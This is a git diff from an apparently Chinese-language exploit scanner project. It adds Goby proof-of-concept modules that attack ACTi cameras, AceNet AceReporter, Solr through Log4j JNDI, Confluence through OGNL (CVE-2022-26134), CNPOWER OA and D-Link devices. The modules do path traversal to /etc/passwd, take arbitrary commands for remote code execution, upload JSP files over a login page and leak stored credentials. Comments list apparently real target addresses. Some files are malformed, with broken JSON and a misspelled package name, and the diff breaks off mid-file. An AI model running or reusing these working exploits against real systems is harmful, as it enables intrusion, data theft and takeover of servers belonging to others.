diff --git a/README.md b/README.md index 09f5637e0..28a898f1c 100644 --- a/README.md +++ b/README.md @@ -171,6 +171,14 @@ priorityNmap=false ./scan4all -tp http -list allOut.txt -v more see: discussions +# References +- https://www.77169.net/html/312916.html +- https://zhuanlan.zhihu.com/p/636131542 +- https://github.com/hktalent/scan4all/blob/main/static/Installation.md +- https://github.com/hktalent/scan4all/blob/main/static/NicePwn.md +- https://github.com/hktalent/scan4all/blob/main/static/running.md +- https://www.google.com/search?client=safari&rls=en&q=%22hktalent%22+%22scan4all%22&ie=UTF-8&oe=UTF-8#ip=1 + # Thanks - Thank @freeload101 and other friends for their donations and support diff --git a/config/51pwn/CRLF.yaml b/config/51pwn/CRLF.yaml deleted file mode 100644 index 68e7869be..000000000 --- a/config/51pwn/CRLF.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CheckCVE_CRLF -info: - name: CheckCVE_CRLF - author: 51pwn - severity: critical - description: | - CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue. (This is not exploitable when glibc has CVE-2016-10739 fixed.) - cat hk1_httpx.json|jq '.url'|sed 's/"//g'|xargs -I % nuclei -duc -t $HOME/MyWork/scan4all/config/51pwn/CRLF.yaml -u % - reference: - - https://www.hacking8.com/web-hacking-101-zh/7.html - - https://51pwn.com/CyberChef/#recipe=URL_Decode()&input=aHR0cHM6Ly90d2l0dGVyLmNvbS9sb2dpbj9yZWRpcmVjdF9hZnRlcl9sb2dpbj1odHRwczovL3R3aXR0ZXIuY29tOjIxLyVFNSU5OCU4QQolRTUlOTglOERjb250ZW50LXR5cGU6dGV4dC9odG1sJUU1JTk4JThBJUU1JTk4JThEbG9jYXRpb246JUU1JTk4JThBJUU1JTk4JThECiVFNSU5OCU4QSVFNSU5OCU4RCVFNSU5OCVCQ3N2Zy9vbmxvYWQ9YWxlcnQlMjhpbm5lckhUTUwlMjglMjklRTUlOTglQkU - - tags: web,crlf - -requests: - - raw: - - |+ - GET /login?redirect_after_login=https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE HTTP/1.1 - Host: {{Hostname}} - Accept:*/* - Pragma:no-cache - Accept-Encoding:gzip, deflate - Connection: close - Content-Length: 0 - - - |+ - GET /?%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0adeface",alert(33)," HTTP/1.1 - Host: {{Hostname}} - Accept:*/* - Pragma:no-cache - Accept-Encoding:gzip, deflate - Connection: close - Content-Length: 0 - - # end payload - unsafe: true - req-condition: true - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "svg/onload=alert(innerHTML" - - "deface" - - \ No newline at end of file diff --git a/lib/goby/goby_pocs/ACTI_camera_images_File_read.go b/lib/goby/goby_pocs/ACTI_camera_images_File_read.go new file mode 100644 index 000000000..f767b669f --- /dev/null +++ b/lib/goby/goby_pocs/ACTI_camera_images_File_read.go @@ -0,0 +1,105 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "ACTI Camera images File read", + "Description": "Arbitrary file reading vulnerability in acti video surveillance", + "Product": "ACTI Camera", + "Homepage": "http://www.acti.com", + "DisclosureDate": "2021-05-17", + "Author": "PeiQi", + "GobyQuery": "app=\"ACTi-Cameras-and-Surveillance\"", + "Level": "1", + "Impact": "Server arbitrary file read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["ACTI Camera"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/images/../../../../../../../../etc/passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := fmt.Sprintf("/images/../../../../../../../..%s", file) + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go b/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go new file mode 100644 index 000000000..7e9cb3150 --- /dev/null +++ b/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go @@ -0,0 +1,136 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "AceNet AceReporter Report component Arbitrary file download", + "Description": "All firewall devices that use the AceNet AceReporter report component can download arbitrary files", + "Product": "AceNet AceReporter Report component", + "Homepage": "", + "DisclosureDate": "2021-08-04", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"Login @ Reporter\" || title=\"Technology, Inc.\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..\\ or../) to download or read a file beyond the original specified path.The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.

", + "Recommandation": "

Limit ../ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file

", + "References": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "../../../../../../../../../etc/passwd,../../../../../../../../../etc/hosts", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename=data.txt", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "daemon", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/hosts&savename=data.txt", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "127.0.0.1", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename={{{path}}}&savename=data.txt", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file download" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} diff --git a/lib/goby/goby_pocs/Apache Solr Log4j JNDI RCE.go b/lib/goby/goby_pocs/Apache Solr Log4j JNDI RCE.go new file mode 100644 index 000000000..22d54d8ec --- /dev/null +++ b/lib/goby/goby_pocs/Apache Solr Log4j JNDI RCE.go @@ -0,0 +1,102 @@ +package exploits + +import ( + //根据需求导入相应的包 + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/godclient" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "time" +) + +func init() { + expJson := `{ + "Name": "Apache Solr Log4j2 Jndi RCE", + "Level": "3", + "Tags": [ + "rce" + ], + "GobyQuery": "app=\"Solr\"", + "Description": "Apache Log4j2被曝存在JNDI远程代码执行漏洞", + "Product": "", + "Homepage": "https://gobies.org/", + "Author": "gobysec@gmail.com", + "Impact": "", + "Recommendation": "", + "References": [ + "https://gobies.org/" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/solr/admin/collections?action=", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0(X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0" + }, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "true", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + } + ], + "ExploitSteps": [ + "AND", + ], + "PostTime": "2022-05-24 22:33:22", + GobyVersion": "1.9.325" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + //自定义POC函数,通过响应bool来确认漏洞是否存在 + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + checkStr := goutils.RandomHexString(4) //RandomHexString:随机生成指定长度的字符串 + checkUrl, isDomain := godclient.GetGodCheckURL(checkStr) //GetGodCheckURl:生成DNSLog地址 + uri := "/solr/admin/collections?action=$%7Bjndi:ldap//$%7BhostName%7D." + checkUrl + "/a%7D" //拼接payload + cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfig + cfg.VerifyTls = false //忽略ssl验证 + cfg.FollowRedirect = false //不跟随跳转 + cfg.Header.Store("Content-type", "application/x-www.form-urlencoded") //自定义请求头 + httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpRespnse + return godclent.PullExists(checkStr, time.Second*15) //在一段时间内检测是否有HTTP请求成功,如果请求成功返回true,否则返回false + }, + + nil, //自定义EXP函数, 没有EXP,就写nil, + )) +} diff --git a/lib/goby/goby_pocs/Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go b/lib/goby/goby_pocs/Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go new file mode 100644 index 000000000..8b7eaef37 --- /dev/null +++ b/lib/goby/goby_pocs/Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go @@ -0,0 +1,200 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)", + "Description": "

2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。

", + "Product": "Atlassian Confluence", + "Homepage": "https://fofa.so/", + "DisclosureDate": "2022-06-07", + "Author": "", + "FofaQuery": "product=\"Confluence\"", + "GobyQuery": "product=\"Confluence\"", + "Level": "3", + "Impact": "

该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。

", + "Recommendation": "

官方已经发布新版本,建议企业用户高优排查暴露在外网的服务并进行修复,安全版本包括:7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、7.18.1

", + "References": [ + "https://github.com/Nwqda/CVE-2022-26134" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/", + "follow_redirect": false, + "header": { + "Accept": "*/*" + }, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "302", + "bz": "" + }, + { + "type": "item", + "variable": "$head", + "operation": "contains", + "value": "uid=", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo 46r5vewrvwerwevrwevrwevrwevrwevrw%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/", + "follow_redirect": false, + "header": { + "Accept": "*/*" + }, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "302", + "bz": "" + }, + { + "type": "item", + "variable": "$head", + "operation": "contains", + "value": "46r5vewrvwerwevrwevrwevrwevrwevrw", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{{{cmd}}}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/", + "follow_redirect": false, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "302", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastheader|regex|X-Cmd-Response: (.*?)\\n" + ] + } + ], + "Tags": [ + "SQL 注⼊", + "代码执⾏" + ], + "VulType": [ + "SQL 注⼊", + "代码执⾏" + ], + "CVEIDs": [ + "CVE-2022-26134" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "", + "Translation": { + "CN": { + "Name": "Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)", + "Product": "Atlassian Confluence", + "Description": "

2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。

", + "Recommendation": "

官方已经发布新版本,建议企业用户高优排查暴露在外网的服务并进行修复,安全版本包括:7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、7.18.1

", + "Impact": "

该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。

", + "VulType": [ + "SQL 注⼊", + "代码执⾏" + ], + "Tags": [ + "SQL 注⼊", + "代码执⾏" + ] + }, + "EN": { + "Name": "Atlassian Confluence Webwork OGNL Inject (CVE-2022-26134)", + "Product": "", + "Description": "

Atlassian Confluence Server and Data Center have an unauthorized remote code execution vulnerability that translates urls to namespaces. Causes an attacker to construct OGNL expressions in the URL path, causing expression injection, and thus remote code execution. This vulnerability is assigned number: CVE-2022-26134.

", + "Recommendation": "

A new version has been released. Enterprise users are advised to troubleshoot and repair exposed services on the Internet. Security versions include 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, and 7.18.1

", + "Impact": "

Because Confluence translates URL into namespace, attacker can construct OGNL expression in URL path, resulting in expression injection, thus remote code execution.

", + "VulType": [ + "SQL Injection", + "Code Execution" + ], + "Tags": [ + "SQL Injection", + "Code Execution" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/CNPOWER OA Arbitrary File Upload Vulnerability.go b/lib/goby/goby_pocs/CNPOWER OA Arbitrary File Upload Vulnerability.go new file mode 100644 index 000000000..7263c2f82 --- /dev/null +++ b/lib/goby/goby_pocs/CNPOWER OA Arbitrary File Upload Vulnerability.go @@ -0,0 +1,251 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "regexp" + "strings" +) + +func init() { + expJson := `{ + "Name": "CNPOWER OA Arbitrary File Upload Vulnerability", + "Description": "

Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform. Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.

There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Product": "CNPOWER-OA", + "Homepage": "http://www.oa8000.com/", + "DisclosureDate": "2022-07-22", + "Author": "toto", + "FofaQuery": "body=\"/OAapp/WebObjects/OAapp.woa\" || body=\"/OAapp/htpages/app\"", + "GobyQuery": "body=\"/OAapp/WebObjects/OAapp.woa\" || body=\"/OAapp/htpages/app\"", + "Level": "2", + "Impact": "

There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Recommendation": "

The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:

http://www.oa8000.com/

", + "References": [ + "http://www.oa8000.com" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "fileContent", + "type": "input", + "value": "<%out.println(\"123\");%>", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "Tags": [ + "File Upload" + ], + "VulType": [ + "File Upload" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "9.8", + "Translation": { + "CN": { + "Name": "华天动力 OA 任意文件上传漏洞", + "Product": "华天动力-OA", + "Description": "

华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合,为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台,在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。

华天动力 OA 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。

", + "Recommendation": "

目前官方尚未发布安全补丁,请关注厂商更新。http://www.oa8000.com/

", + "Impact": "

华天动力 OA 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。

", + "VulType": [ + "⽂件上传" + ], + "Tags": [ + "⽂件上传" + ] + }, + "EN": { + "Name": "CNPOWER OA Arbitrary File Upload Vulnerability", + "Product": "CNPOWER-OA", + "Description": "

Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform. Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.

There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Recommendation": "

The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:

http://www.oa8000.com/

", + "Impact": "

There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "VulType": [ + "File Upload" + ], + "Tags": [ + "File Upload" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + getOAFilePath98234u293 := func(host *httpclient.FixUrl) string { + requestConfig := httpclient.NewPostRequestConfig("/OAapp/jsp/upload.jsp") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO") + requestConfig.Data = "------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name=\"file\"; filename=\"xxx.xml\"\r\nContent-Type: image/png\r\n\r\nreal path\r\n------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nxxx.png\r\n------WebKitFormBoundary5Ur8laykKAWws2QO--\r\n" + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, ".dat") { + if path := regexp.MustCompile(`(.*?)Tomcat/webapps/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 { + // 直接返回文件最后一个 jsessionid + return path[1] + } else if path := regexp.MustCompile(`(.*?)htoadata/appdata/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 { + return path[1] + } + } + } + + return "" + } + + exploitUploadFile837276342783 := func(path string, fileContent string, host *httpclient.FixUrl) bool { + + requestConfig := httpclient.NewPostRequestConfig("/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm") + requestConfig.Data = "------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name=\"EDITFILE\"; filename=\"xxx.txt\"\r\nContent-Type: image/png\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name=\"newFileName\"\r\n\r\n" + path + "Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm--\r\n" + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + return resp.StatusCode == 200 + } + + return false + } + + checkUploadedFile2398764278 := func(fileContent string, host *httpclient.FixUrl) bool { + requestConfig := httpclient.NewGetRequestConfig("/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, fileContent) + } + + return false + } + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + + path := getOAFilePath98234u293(u) + if path == "" { + path = "D:/htoa/" + } + + rand := goutils.RandomHexString(6) + + if exploitUploadFile837276342783(path, "<%out.print(\""+rand+"\");%>", u) { + return checkUploadedFile2398764278(rand, u) + + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + + fileContent := ss.Params["fileContent"].(string) + + path := getOAFilePath98234u293(expResult.HostInfo) + if path == "" { + path = "D:/htoa/" + } + + if exploitUploadFile837276342783(path, fileContent, expResult.HostInfo) { + expResult.Success = true + expResult.Output = "文件已上传,请访问:/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp" + } + + return expResult + }, + )) +} + +// http://36.133.113.253:8081 +// http://221.229.120.251:800/ +// http://winnertoke.com:6001/ \ No newline at end of file diff --git "a/lib/goby/goby_pocs/D-Link DCS\347\263\273\345\210\227\347\233\221\346\216\247 \350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236 CNVD-2020-25078.json" "b/lib/goby/goby_pocs/D-Link DCS\347\263\273\345\210\227\347\233\221\346\216\247 \350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236 CNVD-2020-25078.json" new file mode 100644 index 000000000..fd882e2d1 --- /dev/null +++ "b/lib/goby/goby_pocs/D-Link DCS\347\263\273\345\210\227\347\233\221\346\216\247 \350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236 CNVD-2020-25078.json" @@ -0,0 +1,77 @@ +{ + "Name": "D-Link DCS系列监控 账号密码信息泄露漏洞 CNVD-2020-25078", + "Level": "1", + "Tags": [ + "账号密码泄露" + ], + "GobyQuery": "(app=\"DLink-Network-Camera\" || title=\"Document Error: Unauthorized\")", + "Description": "D-Link DCS系列监控 通过访问特定的URL得到账号密码信息,攻击者通过漏洞进入后台可以获取视频监控页面", + "Product": "DCS-2530L DCS-2670L DCS-4603 DCS-4622 DCS-4701E DCS-4703E DCS-4705E DCS-4802E DCS-P703", + "Homepage": "PeiQi", + "Author": "PeiQi", + "Impact": "

🐏

", + "Recommandation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/config/getuser?index=0", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "name", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "pass", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/config/getuser?index=0", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "PostTime": "2021-03-29 14:08:02", + "GobyVersion": "1.8.237" +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/D_Link_Dir_645_getcfg.php_Account_password_disclosure_CVE_2019_17506.go b/lib/goby/goby_pocs/D_Link_Dir_645_getcfg.php_Account_password_disclosure_CVE_2019_17506.go new file mode 100644 index 000000000..c52450687 --- /dev/null +++ b/lib/goby/goby_pocs/D_Link_Dir_645_getcfg.php_Account_password_disclosure_CVE_2019_17506.go @@ -0,0 +1,101 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "D-Link Dir-645 getcfg.php Account password disclosure (CVE-2019-17506)", + "Description": "D-Link Dir-645 getcfg.php Account password disclosure (CVE-2019-17506)", + "Product": "D-Link Dir-645", + "Homepage": "http://www.dlink.com.cn/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"DLink-Wireless-Router\"", + "Level": "1", + "Impact": "Account password disclosure", + "Recommendation": "", + "References": 